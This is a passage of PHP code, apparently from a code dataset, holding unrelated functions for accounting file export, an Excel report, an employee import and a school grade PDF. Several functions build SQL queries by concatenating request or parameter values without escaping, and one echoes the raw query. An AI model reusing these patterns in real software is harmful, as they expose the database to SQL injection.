7);\r\n\t\t\t\t}\r\n\r\n\t\t\t\t$linha .= $row[\"valorliquido\"]; //\r\n\t\t\t\t$linha .= $this->valor_numerico($row[\"historicopadrao\"],0,5);\r\n\t\t\t\t$linha .= $this->valor_texto(removespecial($row[\"complemento\"].\" Chave:\".$row[\"codlancto\"]), 200); //\r\n\t\t\t\tif($row[\"pagrec\"] == \"R\"){\r\n\t\t\t\t\t$linha .= $this->valor_texto($row[\"cccr\"], 42);\r\n\t\t\t\t\t$linha .= $this->valor_texto($row[\"ccdb\"], 42);\r\n\t\t\t\t}else{\r\n\t\t\t\t\t$linha .= $this->valor_texto($row[\"ccdb\"], 42);\r\n\t\t\t\t\t$linha .= $this->valor_texto($row[\"cccr\"], 42);\r\n\t\t\t\t}\r\n\t\t\t\t$cont++;\r\n\t\t\t\t$arr_linha_contimatic[] = $linha;\r\n\t\t\t}\r\n\r\n\t\t\tif(strlen($this->apelidocontimatic) > 0){\r\n\t\t\t\t$nomearq = $this->estabelecimento->getdircontabil().$this->apelidocontimatic.\".\".\"M\".substr($this->ano,-2);\r\n\t\t\t}else{\r\n\t\t\t\t$nomearq = $this->estabelecimento->getdircontabil().$this->estabelecimento->getnome().\"_financeiro_\".$this->mes.\".txt\";\r\n\t\t\t}\r\n\t\t\t$arquivo = fopen($nomearq, \"w\");\r\n\t\t\tforeach($arr_linha_contimatic as $linha){\r\n\t\t\t\tfwrite($arquivo, $linha.\"\\r\\n\");\r\n\t\t\t}\r\n\t\t\tfclose($arquivo);\r\n\t\t\techo messagebox(\"success\", \"\", \"Arquivo gerado com sucesso!\");\r\n\t\t\techo download($nomearq);\r\n\t\t}\r\n\r\n\t\t// Gera o planod e contas\r\n\t\tif($this->gerar_planodecontas){\r\n\t\t\t//******************************************************************\r\n\t\t\t//\t\t\t\t\t\tRegistro Plano de Contas\r\n\t\t\t//******************************************************************\r\n\t\t\t$where = array();\r\n\t\t\t$this->setprevreal(\"R\");\r\n\t\t\t$this->setstatus(\"L\");\r\n\r\n\t\t\t$query = \"SELECT lancamento.codlancto, lancamento.dtlancto, lancamento.valorliquido, \";\r\n\t\t\t$query .= \"(SELECT numconta FROM planocontas WHERE lancamento.codcontadeb = codconta AND tpconta IN ('D','A')) AS numcontadeb, \";\r\n\t\t\t$query .= \"(SELECT numconta FROM planocontas WHERE lancamento.codcontacred = codconta AND tpconta IN ('C','A')) AS numcontacred, \";\r\n\t\t\t$query .= \"lancamento.numnotafis, lancamento.serie, v_parceiro.nome as parceiro \";\r\n\t\t\t$query .= \"FROM lancamento \";\r\n\t\t\t$query .= \"INNER JOIN v_parceiro ON (lancamento.codparceiro = v_parceiro.codparceiro AND lancamento.tipoparceiro = v_parceiro.tipoparceiro) \";\r\n\t\t\tif(strlen($this->ano) > 0){\r\n\t\t\t\t$where[] = \"EXTRACT(YEAR FROM dtliquid) = '{$this->ano}'\";\r\n\t\t\t}\r\n\t\t\tif(strlen($this->mes) > 0){\r\n\t\t\t\t$where[] = \"EXTRACT(MONTH FROM dtliquid) ='\".$this->mes.\"'\";\r\n\t\t\t}\r\n\t\t\tif(strlen($this->codestabelec) > 0){\r\n\t\t\t\t$where[] = \"codestabelec = \".$this->codestabelec;\r\n\t\t\t}\r\n\t\t\tif(strlen($this->prevreal) > 0){\r\n\t\t\t\t$where[] = \"prevreal = '\".$this->prevreal.\"'\";\r\n\t\t\t}\r\n\t\t\tif(strlen($this->status) > 0){\r\n\t\t\t\t$where[] = \"status = '\".$this->status.\"'\";\r\n\t\t\t}\r\n\t\t\tif(sizeof($where) > 0){\r\n\t\t\t\t$query .= \"WHERE (lancamento.codcontacred > 0 OR lancamento.codcontadeb > 0) AND \".implode(\" AND \", $where).\" \";\r\n\t\t\t}\r\n\t\t\techo $query;\r\n\t\t\t$arr_linha_contimatic = array();\r\n\t\t\t$res = $this->con->query($query);\r\n\t\t\t$arr = $res->fetchAll(2);\r\n\r\n\t\t\tif(count($arr) == 0){\r\n\t\t\t\tdie(messagebox(\"error\", \"\", \"Nenhum lancamento encontrado.\"));\r\n\t\t\t}\r\n\r\n\t\t\tforeach($arr as $row){\r\n\t\t\t\t$linha = $this->valor_numerico($row[\"codlancto\"], 0, 7); // Codigo do lancamento\r\n\t\t\t\t$linha .= $this->valor_data_planodecontas($row[\"dtlancto\"]); // Data do lancamento\r\n\t\t\t\t$linha .= $this->valor_numerico($row[\"numcontadeb\"], 0, 7); // Codigo reduzido da conta a ser debitada\r\n\t\t\t\t$linha .= $this->valor_numerico($row[\"numcontacred\"], 0, 7); // Codigo reduzido da conta a ser creditada\r\n\t\t\t\t$linha .= $this->valor_numerico($row[\"valorliquido\"], 2, 17); // Valor\r\n\t\t\t\t$linha .= $this->valor_numerico($row[\"codcontacred\"], 0, 5); // Historico padrao\r\n\t\t\t\t$linha .= $this->valor_texto(\"{$row[\"numnotafis\"]} {$row[\"serie\"]} - {$row[\"parceiro\"]}\", 200); // Complemento\r\n\t\t\t\t$arr_linha_contimatic[] = $linha;\r\n\t\t\t}\r\n\r\n\t\t\t$nomearq = $this->estabelecimento->getdircontabil().$this->estabelecimento->getnome().$this->mes.\".txt\";\r\n\t\t\t$arquivo = fopen($nomearq, \"w\");\r\n\t\t\tforeach($arr_linha_contimatic as $linha){\r\n\t\t\t\tfwrite($arquivo, $linha.\"\\r\\n\");\r\n\t\t\t}\r\n\t\t\tfclose($arquivo);\r\n\t\t\techo download($nomearq);\r\n\t\t\t//******************************************************************\r\n\t\t}\r\n\r\n\t\t// Busca os mapas resumo\r\n\t\t$this->arr_maparesumo = array();\r\n\t\tif($this->gerar_cupomfiscal){\r\n\t\t\tsetprogress(0, \"Carregando mapas resumo\", TRUE);\r\n\t\t\t$res = $this->con->query(\"SELECT codmaparesumo FROM maparesumo WHERE codestabelec = \".$this->estabelecimento->getcodestabelec().\" AND EXTRACT(YEAR FROM dtmovto) = \".$this->ano.\" AND EXTRACT(MONTH FROM dtmovto) = \".$this->mes.\" ORDER BY dtmovto, caixa\");\r\n\t\t\t$arr = $res->fetchAll(2);\r\n\t\t\t$arr_codmaparesumo = array();\r\n\t\t\tforeach($arr as $i => $row){\r\n\t\t\t\t$arr_codmaparesumo[] = $row[\"codmaparesumo\"];\r\n\t\t\t}\r\n\t\t\t$this->arr_maparesumo = object_array_key(objectbytable(\"maparesumo\", NULL, $this->con), $arr_codmaparesumo);\r\n\t\t}\r\n\r\n\t\t// Busca os impostos dos mapas resumo\r\n\t\t$this->arr_maparesumoimposto = array();\r\n\t\t$i = 1;\r\n\t\t$n = sizeof($this->arr_maparesumo);\r\n\t\tforeach($this->arr_maparesumo as $maparesumo){\r\n\t\t\tsetprogress(($i / $n * 100), \"Carregando impostos dos mapas resumo: \".$i.\" de \".$n);\r\n\t\t\t$query = \"SELECT tptribicms, aliqicms, SUM(totalliquido) AS totalliquido, SUM(totalicms) AS totalicms \";\r\n\t\t\t$query .= \"FROM maparesumoimposto \";\r\n\t\t\t$query .= \"WHERE codmaparesumo = \".$maparesumo->getcodmaparesumo().\" \";\r\n\t\t\t$query .= \"\tAND totalliquido > 0 \";\r\n\t\t\t$query .= \"GROUP BY tptribicms, aliqicms \";\r\n\t\t\t$query .= \"ORDER BY tptribicms, aliqicms \";\r\n\t\t\t$res = $this->con->query($query);\r\n\t\t\t$arr = $res->fetchAll(2);\r\n\t\t\tforeach($arr as $row){\r\n\t\t\t\t$maparesumoimposto = objectbytable(\"maparesumoimposto\", NULL, $this->con);\r\n\t\t\t\t$maparesumoimposto->setcodmaparesumo($maparesumo->getcodmaparesumo());\r\n\t\t\t\t$maparesumoimposto->settptribicms($row[\"tptribicms\"]);\r\n\t\t\t\t$maparesumoimposto->setaliqicms($row[\"aliqicms\"]);\r\n\t\t\t\t$maparesumoimposto->settotalliquido($row[\"totalliquido\"]);\r\n\t\t\t\t$maparesumoimposto->settotalicms($row[\"totalicms\"]);\r\n\t\t\t\t$this->arr_maparesumoimposto[$maparesumo->getcodmaparesumo()][] = $maparesumoimposto;\r\n\t\t\t}\r\n\t\t\t$i++;\r\n\t\t}\r\n\r\n\r\n\t\t// Busca operacoes de nota fiscal\r\n\t\t$this->arr_operacaonota = array();\r\n\t\tsetprogress(0, \"Buscando operacoes de nota fiscal\", TRUE);\r\n\t\t$operacaonota = objectbytable(\"operacaonota\", NULL, $this->con);\r\n\t\t$arr_operacaonota = object_array($operacaonota);\r\n\t\tforeach($arr_operacaonota as $operacaonota){\r\n\t\t\t$this->arr_operacaonota[$operacaonota->getoperacao()] = $operacaonota;\r\n\t\t}\r\n\r\n\t\t// Busca as notas fiscais\r\n\t\t$this->arr_notafiscal = array();\r\n\t\tif($this->gerar_notafiscal){\r\n\t\t\tsetprogress(0, \"Carregando notas fiscais\", TRUE);\r\n\t\t\t$res = $this->con->query(\"SELECT idnotafiscal FROM notafiscal WHERE codestabelec = \".$this->estabelecimento->getcodestabelec().\" AND EXTRACT(YEAR FROM dtentrega) = \".$this->ano.\" AND EXTRACT(MONTH FROM dtentrega) = \".$this->mes);\r\n\t\t\t$arr = $res->fetchAll(2);\r\n\t\t\t$arr_idnotafiscal = array();\r\n\t\t\tforeach($arr as $i => $row){\r\n\t\t\t\t$arr_idnotafiscal[] = $row[\"idnotafiscal\"];\r\n\t\t\t}\r\n\t\t\t$this->arr_notafiscal = object_array_key(objectbytable(\"notafiscal\", NULL, $this->con), $arr_idnotafiscal);\r\n\t\t}\r\n\r\n\t\t// Busca os impostos das notas fiscais\r\n\t\t$this->arr_notafiscalimposto = array();\r\n\t\t$i = 1;\r\n\t\t$n = sizeof($this->arr_notafiscal);\r\n\t\tforeach($this->arr_notafiscal as $notafiscal){\r\n\t\t\tsetprogress(($i / $n * 100), \"Carregando impostos das notas fiscais: \".$i.\" de \".$n);\r\n\t\t\t$this->arr_notafiscalimposto[$notafiscal->getidnotafiscal()] = array();\r\n\t\t\t$query = \"SELECT idnotafiscal, aliquota, SUM(base) AS base, SUM(valorimposto) AS valorimposto, SUM(reducao) AS reducao, SUM(isento) AS isento \";\r\n\t\t\t$query .= \"FROM notafiscalimposto \";\r\n\t\t\t$query .= \"WHERE idnotafiscal = \".$notafiscal->getidnotafiscal().\" \";\r\n\t\t\t$query .= \"\tAND tipoimposto LIKE 'ICMS%' \";\r\n\t\t\t$query .= \"\tAND tipoimposto != 'ICMS_F' \";\r\n\t\t\t$query .= \"GROUP BY idnotafiscal, aliquota \";\r\n\t\t\t$query .= \"ORDER BY aliquota \";\r\n\t\t\t$res = $this->con->query($query);\r\n\t\t\t$arr = $res->fetchAll(2);\r\n\t\t\tforeach($arr as $row){\r\n\t\t\t\t$notafiscalimposto = objectbytable(\"notafiscalimposto\", NULL, $this->con);\r\n\t\t\t\t$notafiscalimposto->setidnotafiscal($notafiscal->getidnotafiscal());\r\n\t\t\t\t$notafiscalimposto->settipoimposto(\"ICMS\");\r\n\t\t\t\t$notafiscalimposto->setaliquota($row[\"imposto\"]);\r\n\t\t\t\t$notafiscalimposto->setbase($row[\"base\"]);\r\n\t\t\t\t$notafiscalimposto->setvalorimposto($row[\"valorimposto\"]);\r\n\t\t\t\t$notafiscalimposto->setreducao($row[\"reducao\"]);\r\n\t\t\t\t$notafiscalimposto->setisento($row[\"isento\"]);\r\n\t\t\t\t$this->arr_notafiscalimposto[$notafiscal->getidnotafiscal()][] = $notafiscalimposto;\r\n\t\t\t}\r\n\t\t\t$i++;\r\n\t\t}\r\n\r\n\t\t// Busca os cliente\r\n\t\t$this->arr_cliente = array();\r\n\t\tsetprogress(0, \"Buscando clientes\", TRUE);\r\n\t\t$arr_codcliente = array();\r\n\t\tforeach($this->arr_notafiscal as $notafiscal){\r\n\t\t\t$operacaonota = $this->arr_operacaonota[$notafiscal->getoperacao()];\r\n\t\t\tif($operacaonota->getparceiro() == \"C\"){\r\n\t\t\t\t$arr_codcliente[] = $notafiscal->getcodparceiro();\r\n\t\t\t}\r\n\t\t}\r\n\t\t$arr_codcliente = array_merge(array_unique($arr_codcliente));\r\n\t\tforeach($arr_codcliente as $i => $codcliente){\r\n\t\t\tsetprogress((($i + 1) / sizeof($arr_codcliente) * 100), \"Carregando clientes: \".($i + 1).\" de \".sizeof($arr_codcliente));\r\n\t\t\t$this->arr_cliente[$codcliente] = objectbytable(\"cliente\", $codcliente, $this->con);\r\n\t\t}\r\n\r\n\t\t// Busca os estabelecimentos\r\n\t\t$this->arr_estabelecimento = array();\r\n\t\tsetprogress(0, \"Buscando estabelecimentos\", TRUE);\r\n\t\t$arr_codestabelec = array();\r\n\t\tforeach($this->arr_notafiscal as $notafiscal){\r\n\t\t\t$operacaonota = $this->arr_operacaonota[$notafiscal->getoperacao()];\r\n\t\t\tif($operacaonota->getparceiro() == \"E\"){\r\n\t\t\t\t$arr_codestabelec[] = $notafiscal->getcodparceiro();\r\n\t\t\t}\r\n\t\t}\r\n\t\t$arr_codestabelec = array_merge(array_unique($arr_codestabelec));\r\n\t\tforeach($arr_codestabelec as $i => $codestabelec){\r\n\t\t\tsetprogress((($i + 1) / sizeof($arr_codestabelec) * 100), \"Carregando estabelecimentos: \".($i + 1).\" de \".sizeof($arr_codestabelec));\r\n\t\t\t$this->arr_estabelecimento[$codestabelec] = objectbytable(\"estabelecimento\", $codestabelec, $this->con);\r\n\t\t}\r\n\r\n\t\t// Busca os fornecedores\r\n\t\t$this->arr_fornecedor = array();\r\n\t\tsetprogress(0, \"Buscando fornecedores\", TRUE);\r\n\t\t$arr_codfornec = array();\r\n\t\tforeach($this->arr_notafiscal as $notafiscal){\r\n\t\t\t$operacaonota = $this->arr_operacaonota[$notafiscal->getoperacao()];\r\n\t\t\tif($operacaonota->getparceiro() == \"F\"){\r\n\t\t\t\t$arr_codfornec[] = $notafiscal->getcodparceiro();\r\n\t\t\t}\r\n\t\t}\r\n\t\t$arr_codfornec = array_merge(array_unique($arr_codfornec));\r\n\t\tforeach($arr_codfornec as $i => $codfornec){\r\n\t\t\tsetprogress((($i + 1) / sizeof($arr_codfornec) * 100), \"Carregando fornecedores: \".($i + 1).\" de \".sizeof($arr_codfornec));\r\n\t\t\t$this->arr_fornecedor[$codfornec] = objectbytable(\"fornecedor\", $codfornec, $this->con);\r\n\t\t}\r\n\r\n\t\t// Busca as cidades\r\n\t\t$this->arr_cidade = array();\r\n\t\tsetprogress(0, \"Buscando cidades\", TRUE);\r\n\t\t$arr_codcidade = array();\r\n\t\t$arr_codcidade[] = $this->estabelecimento->getcodcidade();\r\n\t\tforeach($this->arr_cliente as $cliente){\r\n\t\t\t$arr_codcidade[] = $cliente->getcodcidaderes();\r\n\t\t}\r\n\t\tforeach($this->arr_estabelecimento as $estabelecimento){\r\n\t\t\t$arr_codcidade[] = $estabelecimento->getcodcidade();\r\n\t\t}\r\n\t\tforeach($this->arr_fornecedor as $fornecedor){\r\n\t\t\t$arr_codcidade[] = $fornecedor->getcodcidade();\r\n\t\t}\r\n\t\t$arr_codcidade = array_merge(array_unique($arr_codcidade));\r\n\t\tforeach($arr_codcidade as $i => $codcidade){\r\n\t\t\tsetprogress((($i + 1) / sizeof($arr_codcidade) * 100), \"Carregando cidades: \".($i + 1).\" de \".sizeof($arr_codcidade));\r\n\t\t\t$this->arr_cidade[$codcidade] = objectbytable(\"cidade\", $codcidade, $this->con);\r\n\t\t}\r\n\r\n\t\tsetprogress(0, \"Gerando arquivo\", TRUE);\r\n\t\t$arr_registro = array();\r\n\t\tforeach($this->arr_maparesumo as $maparesumo){\r\n\t\t\t$arr_registro[] = $this->registro_r1($maparesumo, FALSE);\r\n\t\t\t$arr_registro[] = $this->registro_r1($maparesumo, TRUE);\r\n\t\t}\r\n\t\tforeach($this->arr_notafiscal as $notafiscal){\r\n\t\t\t$arr_registro[] = $this->registro_r1($notafiscal);\r\n\t\t}\r\n\r\n\t\t$arr_linha_e = array(); // Linhas para criar arquivo de entrada\r\n\t\t$arr_linha_s = array(); // Linhas para criar arquivo de saida\r\n\t\tforeach($arr_registro as $registro){\r\n\t\t\tif(!is_null($registro)){\r\n\t\t\t\t$linha = implode(\"|\", $registro);\r\n\t\t\t\tswitch($registro[\"02\"]){\r\n\t\t\t\t\tcase \"E\": $arr_linha_e[] = $linha;\r\n\t\t\t\t\t\tbreak;\r\n\t\t\t\t\tcase \"S\": $arr_linha_s[] = $linha;\r\n\t\t\t\t\t\tbreak;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t$this->criar_arquivo($arr_linha_e, \"E\");\r\n\t\t$this->criar_arquivo($arr_linha_s, \"S\");\r\n\r\n\t\techo messagebox(\"success\", \"\", \"Arquivo gerado com sucesso!\");\r\n\t}", "public function exportarexcel(Request $request){\n\n // 0- ORDEN FILTROS\n //ORDENAMIENTO\n // ASCENDENTE - DESCENTE\n $this->m_canombr_ordene=$request->m_canombr_ordene;\n // NOMBRE CAMPO\n $this->m_canombr_campos=$request->m_canombr_campos;\n // FILTROS\n $this->m_canombr_filtro=$request->m_canombr;\n $this->m_cacodna_filtro=$request->m_cacodna;\n $this->m_caestad_filtro=$request->m_caestad;\n $this->m_causreg_filtro=$request->m_causreg;\n $this->m_causact_filtro=$request->m_causact;\n \n // Obtiene fecha y hora actual\n $fecha_actual = new DateTime();\n // Convierte fecha y hora actual a texto\n $cadena_fecha_actual = $fecha_actual->format(\"d/m/Y/h/i/s/a\");\n // Nombre archivo exportacion\n $nombre_archivo = 'tipos_carrocerias_'.$cadena_fecha_actual;\n\n Excel::create($nombre_archivo, function($excel) {\n $excel->sheet('tipos_carrocerias', function($sheet) {\n\n // 0- CONSULTA\n if($this->m_canombr_campos==\"llave_compuesta\"){\n $tiposcarrocerias = Capmtica::nombre($this->m_canombr_filtro)->\n Codigo_nacional($this->m_cacodna_filtro)->\n estado($this->m_caestad_filtro)->\n usuario_registra($this->m_causreg_filtro)->\n usuario_actualiza($this->m_causact_filtro)->\n orderBy(' Capmtica.m_canombr',$this->m_canombr_ordene)->get();\n }else{\n $tiposcarrocerias = Capmtica::nombre($this->m_canombr_filtro)->\n Codigo_nacional($this->m_cacodna_filtro)->\n estado($this->m_caestad_filtro)->\n usuario_registra($this->m_causreg_filtro)->\n usuario_actualiza($this->m_causact_filtro)->\n orderBy($this->m_canombr_campos,$this->m_canombr_ordene)->get();\n }\n\n // 1- EMPRESA RAZON SOCIAL\n $emp_raz_soc = Auth::user()->empresa->m_carazso;\n // 2- EMPRESA NUIPE\n $emp_nui_pes = Auth::user()->empresa->m_canuipe;\n // 3- OFICINA NOMBRE\n $ofi_nom_bre = Auth::user()->oficina->m_canombr;\n // 4- OFICINA UBICACION REGIONAL - VARIABLE GLOBAL\n // Session::get('glo_ofi_ubi_reg'\n // 5- APLICATIVO NOMBRE\n $app_nom_bre = 'mistiquetes.com';\n // 6- TITULO CONSULTA\n $tit_con_sul = 'CONSULTA TIPOS CARROCERIA VEHICULO';\n\n // 20- TOTAL REGISTROS\n $tot_reg_ist = $tiposcarrocerias->Count();\n // 21- GENERADO FECHA HORA\n $fecha_hora = new DateTime();\n\n setlocale(LC_TIME,\"es_ES\");\n date_default_timezone_set ('America/Bogota');\n $fec_hor_gen = strftime(\"El %A, %d de %B del %Y - %r - Spreadsheet (Hoja de calculo)\");\n // 22- GENERADO USUARIO\n $usu_gen_era = Auth::user()->name;\n // 23- GENERADO NOTICIA\n $not_cla_con = 'Aplican cláusulas de confidencialidad en el manejo de información';\n\n\n // 1- EMPRESA RAZON SOCIAL\n $sheet->row(1, array($emp_raz_soc));\n // ESTILO\n $sheet->mergeCells('A1:L1');\n $sheet->row(1, function ($row) {\n $row->setFontFamily('Arial');\n $row->setFontSize(14);\n });\n\n // 2- EMPRESA NUIPE\n $sheet->row(2, array($emp_nui_pes));\n // ESTILO\n $sheet->mergeCells('A2:L2');\n $sheet->row(2, function ($row) {\n $row->setFontFamily('Arial');\n $row->setFontSize(12);\n });\n\n // 3- OFICINA NOMBRE\n $sheet->row(3, array($ofi_nom_bre));\n // ESTILO\n $sheet->mergeCells('A3:L3');\n $sheet->row(3, function ($row) {\n $row->setFontFamily('Arial');\n $row->setFontSize(12);\n });\n\n // 4- OFICINA UBICACION REGIONAL\n $sheet->row(4, array(Session::get('glo_ofi_ubi_reg')));\n // ESTILO\n $sheet->mergeCells('A4:L4');\n $sheet->row(4, function ($row) {\n $row->setFontFamily('Arial');\n $row->setFontSize(12);\n });\n\n // 5- APLICATIVO NOMBRE\n $sheet->row(5, array($app_nom_bre));\n // ESTILO\n $sheet->mergeCells('A5:L5');\n $sheet->row(5, function ($row) {\n $row->setFontFamily('Arial');\n $row->setFontSize(12);\n });\n\n // 6- TITULO CONSULTA\n $sheet->row(6, array($tit_con_sul));\n // ESTILO\n $sheet->mergeCells('A6:K6');\n $sheet->row(6, function ($row) {\n $row->setFontFamily('Arial');\n $row->setFontSize(12);\n });\n\n // ENCABEZADOS\n $sheet->row(7, [\n 'Identificador', 'Tipo carroceria vehículo',\n 'Código nacional', 'Estado',\n 'Registro', 'Usuario', 'actualizado', 'Usuario',\n 'Total registros', 'Generado fecha - hora', 'Generado usuario', 'Noticia'\n ]);\n\n // ESTILO\n $sheet->Cells('A7:Z7');\n $sheet->row(7, function ($row) {\n // Fuente\n $row->setFontFamily('Arial');\n // Negrita\n $row->setFontWeight('bold');\n // Tamaño\n $row->setFontSize(10);\n // Alineamiento\n $row->setAlignment('center');\n // Fondo\n $row->setBackground('#4eb24d');\n // Bordes - Set all borders (top, right, bottom, left)\n $row->setBorder('thin','thin','thin','thin');\n });\n\n // REGISTROS\n foreach($tiposcarrocerias as $index => $tipocarroceria) {\n\n // ESTILO\n $sheet->Cells('A8:Z100000');\n $sheet->row($index+8, function ($row) {\n $row->setFontFamily('Arial');\n $row->setFontSize(10);\n });\n\n if ($index) {\n $sheet->row($index+8, [\n $tipocarroceria->m_nucodig, $tipocarroceria->m_canombr,\n $tipocarroceria->m_cacodna, $tipocarroceria->m_caestad,\n $tipocarroceria->created_at, $tipocarroceria->usuario_registra->name,\n $tipocarroceria->updated_at, $tipocarroceria->usuario_actualiza->name,\n ]);\n } else {\n $sheet->row($index+8, [\n $tipocarroceria->m_nucodig, $tipocarroceria->m_canombr,\n $tipocarroceria->m_cacodna, $tipocarroceria->m_caestad,\n $tipocarroceria->created_at, $tipocarroceria->usuario_registra->name,\n $tipocarroceria->updated_at, $tipocarroceria->usuario_actualiza->name,\n $tot_reg_ist, $fec_hor_gen, $usu_gen_era, $not_cla_con\n ]);\n }\n }\n\n // PIE\n // ESTILO\n $sheet->row(($tot_reg_ist+9), function ($row) {\n // Fuente\n $row->setFontFamily('Arial');\n // Negrita\n $row->setFontWeight('bold');\n // Tamaño\n $row->setFontSize(10);\n // Alineamiento\n $row->setAlignment('center');\n // Fondo\n $row->setBackground('#4eb24d');\n // Bordes - Set all borders (top, right, bottom, left)\n $row->setBorder('thin','thin','thin','thin');\n }); \n });\n })->export('xlsx');\n\n return redirect()->route('tipos-carrocerias.index');\n \n }", "private function import_pegawai($sheet)\n\t{\n\t\tforeach ($sheet as $idx => $data) {\n\t\t\t//skip index 1 karena title excel\n\t\t\tif ($idx == 1) {\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\tif ($data['B'] == null) {\n\t\t\t\tbreak;\n\t\t\t}\n\n\t\t\t$nip = $data['B'];\n\t\t\t$nama = $data['C'];\n\t\t\t$tempat_lahir = $data['D'];\n\t\t\t$tanggal_lahir = $data['E'];\n\t\t\t$jenis_kelamin = $data['F'];\n\t\t\t$gol = $data['G'];\n\t\t\t$tmt_gol = $data['H'];\n\t\t\t$eselon = $data['I'];\n\t\t\t$jabatan = $data['J'];\n\t\t\t$tmt_jabatan = $data['K'];\n\t\t\t$agama = $data['L'];\n\t\t\t$sub = $data['M'];\n\t\t\t$bagian = $data['N'];\n\t\t\t$unit = $data['O'];\n\n\t\t\t// insert data\n\t\t\t$this->pegawaiModel->insert([\n\t\t\t\t'nip' => $nip,\n\t\t\t\t'name' => $nama,\n\t\t\t\t'tempat_lahir' => strtoupper($tempat_lahir),\n\t\t\t\t'tanggal_lahir' => date_format(date_create($tanggal_lahir), \"Y-m-d\"),\n\t\t\t\t'jenis_kelamin' => $jenis_kelamin,\n\t\t\t\t'gol' => $gol,\n\t\t\t\t'tmt_gol' => date_format(date_create($tmt_gol), \"Y-m-d\"),\n\t\t\t\t'eselon' => $eselon,\n\t\t\t\t'jabatan' => $jabatan,\n\t\t\t\t'tmt_jab' => date_format(date_create($tmt_jabatan), \"Y-m-d\"),\n\t\t\t\t'agama' => $agama,\n\t\t\t\t'sub_bagian' => $sub,\n\t\t\t\t'bagian' => $bagian,\n\t\t\t\t'unit' => $unit,\n\t\t\t]);\n\t\t}\n\n\t\treturn true;\n\t}", "function tacta($curso){\n\t\t\t//require('C:/Program Files (x86)/VertrigoServ/www/ingenieria/library/fpdf/fpdf.php');\n\t\t\t\n\t\t\tif(Session::get_data('tipousuario')!=\"PROFESOR\"){\n\t\t\t\t$this->redirect('/');\n\t\t\t}\n\n\t\t\t//ELIMINAR CONTENIDO DE LAS VARIABLES QUE PERTENECERÁN A LA CLASE\n\t\t\tunset($this -> excel);\n\t\t\tunset($this -> alumnado);\n\t\t\tunset($this -> registro);\n\t\t\tunset($this -> nombre);\n\t\t\tunset($this -> curso);\n\t\t\tunset($this -> materia);\n\t\t\tunset($this -> clave);\n\t\t\tunset($this -> situacion);\n\t\t\tunset($this -> especialidad);\n\t\t\tunset($this -> profesor);\n\t\t\tunset($this -> periodo);\n\t\t\tunset($this -> nomina);\n\t\t\tunset($this -> parcial);\n\n\t\t\t$id = Session::get_data('registro');\n\t\t\t//$periodo = $this -> actual;\n\t\t\t$Periodos = new Periodos();\n\t\t\t$periodo = $Periodos -> get_periodo_actual_();\n\n\t\t\t//Tendrá que llegar por medio de un post\n\t\t\t$parcial = $this -> post(\"tparcial\");\n\n\t\t\t$maestros = new Maestros();\n\t\t\t$maestro = $maestros -> find_first(\"nomina=\".$id);\n\n\t\t\t$xcursos = new Xtcursos();\n\t\t\t$materias = new Materia();\n\t\t\t$calificaciones = new Xtalumnocursos();\n\t\t\t$alumnos = new Alumnos();\n\t\t\t$Carrera = new Carrera();\n\n\t\t\tswitch($parcial){\n\t\t\t\tcase 1: $parcialito = \"PRIMER PARCIAL\"; break;\n\t\t\t\tcase 2: $parcialito = \"SEGUNDO PARCIAL\"; break;\n\t\t\t\tcase 3: $parcialito = \"TERCER PARCIAL\"; break;\n\t\t\t}\n\n\n\t\t\t$xcurso = $xcursos -> find_first(\"clavecurso='\".$curso.\"'\");\n\t\t\t$materia = $materias -> find_first(\"clave='\".$xcurso -> materia.\"'\");\n\n\t\t\t$this -> set_response(\"view\");\n\n\t\t\t$reporte = new FPDF();\n\n\t\t\t$reporte -> Open();\n\t\t\t$reporte -> AddPage();\n\n\t\t\t$reporte -> AddFont('Verdana','','verdana.php');\n\n\t\t\t$reporte -> Image('http://ase.ceti.mx/ingenieria/img/logoceti.jpg', 5, 0);\n\n\t\t\t$reporte -> SetX(45);\n\t\t\t$reporte -> SetFont('Verdana','',14);\n\t\t\t$reporte -> MultiCell(0,3,\"CENTRO DE ENSEÑANZA TÉCNICA INDUSTRIAL\",0,'C',0);\n\n\t\t\t$reporte -> Ln();\n\n\t\t\t$reporte -> SetX(45);\n\t\t\t$reporte -> SetFont('Verdana','',12);\n\t\t\t$reporte -> MultiCell(0,3,\"SUBDIRECCIÓN DE OPERACION ACADÉMICA\",0,'C',0);\n\n\t\t\t$reporte -> Ln();\n\t\t\t$reporte -> Ln();\n\n\t\t\t$reporte -> SetX(45);\n\t\t\t$reporte -> SetFont('Verdana','',12);\n\t\t\t$reporte -> MultiCell(0,2,\"NIVEL INGENIERÍA\",0,'C',0);\n\t\t\t$reporte -> Ln();\n\n\t\t\t$reporte -> SetX(45);\n\t\t\t$reporte -> SetFont('Verdana','',8);\n\t\t\t$reporte -> MultiCell(0,2,\"PLANTEL TONALA\",0,'C',0);\n\n\t\t\t$reporte -> Ln();\n\t\t\t$reporte -> Ln();\n\n\t\t\tif( substr( $periodo, 0, 1) == 1 )\n\t\t\t\t$periodo2 = \"FEB - JUN, \";\n\t\t\telse\n\t\t\t\t$periodo2 = \"AGO - DIC, \";\n\n\t\t\t$periodo2 .= substr($periodo,1,4);\n\n\t\t\t$reporte -> SetX(45);\n\t\t\t$reporte -> SetFont('Verdana','',8);\n\t\t\t$reporte -> MultiCell(0,2,\"REPORTE DE CALIFICACIONES PERIODO: \".$periodo2.\"\",0,'C',0);\n\n\t\t\t$reporte -> Ln();\n\t\t\t$reporte -> Ln();\n\t\t\t$reporte -> Ln();\n\n\t\t\t$reporte -> SetFillColor(0xDD,0xDD,0xDD);\n\t\t\t$reporte -> SetTextColor(0);\n\t\t\t$reporte -> SetDrawColor(0xFF,0x66,0x33);\n\t\t\t$reporte -> SetFont('Verdana','',6);\n\n\t\t\t$reporte -> Cell(20,4,\"NOMINA\",1,0,'C',1);\n\t\t\t$reporte -> Cell(60,4,\"NOMBRE DEL PROFESOR\",1,0,'C',1);\n\t\t\t$reporte -> Cell(25,4,\"PLANTEL\",1,0,'C',1);\n\t\t\t$reporte -> Cell(25,4,\"CLAVE CURSO\",1,0,'C',1);\n\t\t\t$reporte -> Cell(60,4,\"MATERIA\",1,0,'C',1);\n\n\t\t\t$reporte -> Ln();\n\t\t\t$reporte -> SetFillColor(0xFF,0xFF,0xFF);\n\t\t\t$reporte -> Cell(20,4,$id,1,0,'C',1);\n\t\t\t$reporte -> Cell(60,4,$maestro -> nombre,1,0,'C',1);\n\t\t\t$reporte -> Cell(25,4,\"TONALA\",1,0,'C',1);\n\t\t\t$reporte -> 